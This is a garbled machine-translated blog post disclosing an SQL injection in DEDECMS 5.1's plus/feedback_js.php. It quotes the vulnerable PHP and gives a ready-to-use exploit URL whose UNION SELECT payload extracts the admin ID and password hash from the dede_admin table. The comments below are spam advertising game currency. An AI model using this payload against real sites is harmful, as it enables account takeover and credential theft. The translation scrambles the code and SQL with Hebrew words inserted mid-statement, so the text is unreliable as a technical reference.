DEDECMS 5.1 feedback_js.php 0day-0day, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5.1 feedback_js.php 0day

הפוסט הזה נכתב ב 11 אוקטובר 2009

מחבר: st0p Rainy'Fox
לשכפל נא לציין את המקור: http://www.st0p.org http://bbs.erpangzi.com/

פגיעות זו נמצא ו Rainy'Fox זמין גם במקרה magic_quotes_gpc = off

גרסה הפגיעות: מאמרים Condo 5.1
זו יכולה להיות מנוצלת כדי לקבל את חשבון מנהל ברקע להצפין חשיש, פרצות קיים קובץ פלוס / feedback_js.php, פרמטרים מסוננת של $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) אם (ריק ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("id בחר מ '# @ __ cache_feedbackurl` שבו url =' $ arcurl '");
        / / כאן $ arcurl לא מסנן
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; אם (is_array ($ row)) $ urlindex = $ row ['id'];
       / / הצגת התוצאות את המשימה $ urlindex עבור שאילתת לשורה $ ['id'], אנו יכולים לבנות פקודות SQL לתוך ההפעלה הבאה
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; אם (ריק ($ arcID) && ריק ($ urlindex)) ויציאה ();
 / / אם $ arcID ריק או $ urlindex יציאה ריקה
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; אם (ריק ($ arcID)) $ WQ = "urlindex = '$ urlindex'";
 / / $ ArcID ריק, ממש מעל את תוצאות יישום יוקצה $ WQ את הפעולות הבאות שבוצעו.
 = " aid=' $arcID ' " ; אחר $ WQ = "הסיוע = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; QueryString $ = "SELECT * FROM` # @ __ משוב `שם $ WQ ואת ischeck כדי = ''1 ידי dtime יורד";
 Init ( ) ; $ Dlist -> init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ QueryString);
 ......

תראו את השימוש, היי, סגור אני משתמש 2 האיחוד

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'איחוד לבחור "" ו 1 = 2 האיחוד בחר זיהוי המשתמש 1,1,1,, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 מ dede_admin שבו 1 = 1 האיחוד SELECT * FROM dede_feedback כאשר 1 = 2 ו ='' '"מ dede_admin בו'' ="

למרבה הצער, אפילו Rainy'Fox הבחור הזה למצוא מבחן המטרה כאשר הוא בעצם אמר יכול ב = magic_quotes_gpc כאשר דרך .... רעיון זה גם yd .. נורא מדי, כדי באמת להשיג זאת רשת סקטור יש כאוס, הרבה תוכניות כברירת מחדל ב-PHP magic_quotes_gpc כבויה, יקרא חלק הבריחה שלהם ... אתם באמת יכולים להשיג, זה הסיוט של תוכנית PHP ...

למד מעלות בגידות אומנויות לחימה

348 תגובות ל "DEDECMS 5.1 feedback_js.php 0day"

על ידי хостинг על נובמבר 19, 2009 | תגובה
zelo intiresno, hvala
על ידי AKfour 7 ב 1 דצמבר 2009 | תגובה
אני עומד כאן היום בענווה בפני המשימה העומדת לפני [url = http://www.bawwgt.com] dofus Kamas [/ url], אסיר תודה על האמון שאתם מרעיפים, מתוך מודעות הקורבנות הנישאים על ידי כתובת האתר שלנו [= http:/ / www.bawwgt.com] זולים Kamas dofus [/ url]. אני מודה לנשיא [url = http://www.bawwgt.com] פילוס dofus כוח [/ url] על שירותו [url = http://www . bawwgt.com] לקנות dofus Kamas [/ url], כמו גם את הנדיבות ושיתוף הפעולה הוא הוכיח לאורך כל המעבר הזה.
על ידי wsewtoexg על 3 דצמבר 2009 | תגובה
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
על ידי טדי ב 5 דצמבר 2009 | תגובה
רק 34 ימים לפני DOFUS 2.0! 2 דצמבר יהיה כאן לפני שאנחנו יודעים [url = http://www.bawwgt.com/fr] dofus Kamas [/ url]. על כתובת האתר [= http://www.bawwgt.com / fr] dofus Kamas moins chers [/ URL] כל שחקן יגלה ניסיון DOFUS חדש לחלוטין. [url = http://www.bawwgt.com/fr] acheter des dofus Kamas [/ url] יש להסתפק דוחות ופורומים. למרות זאת [url = http://www.bawwgt.com/fr] Achat dofus Kamas [/ url], יש ¡ ¯ תמיד יש כמה שחקנים היקרים בפורום.
על ידי קונים סטרטרה על 13 דצמבר 2009 | תגובה
מדובר בחדשות מגניב. תודה.
על ידי Seengart על 14 דצמבר 2009 | תגובה
הא ... בסגנון אינפורמטיבי ..
על ידי נטשה אינטרנט ב 16 דצמבר 2009 | תגובה
Vdaka ZA zaujimavy הבלוג
על ידי ConradSimone על 8 מרס, 2012 | תגובה
ובכן, זה אהבה indeed.Would מאוד מעניין לקרוא קצת יותר על כך. מעריץ מידע בעל ערך שאתה מציע במאמרים שלך.
קונרד על ידי סימון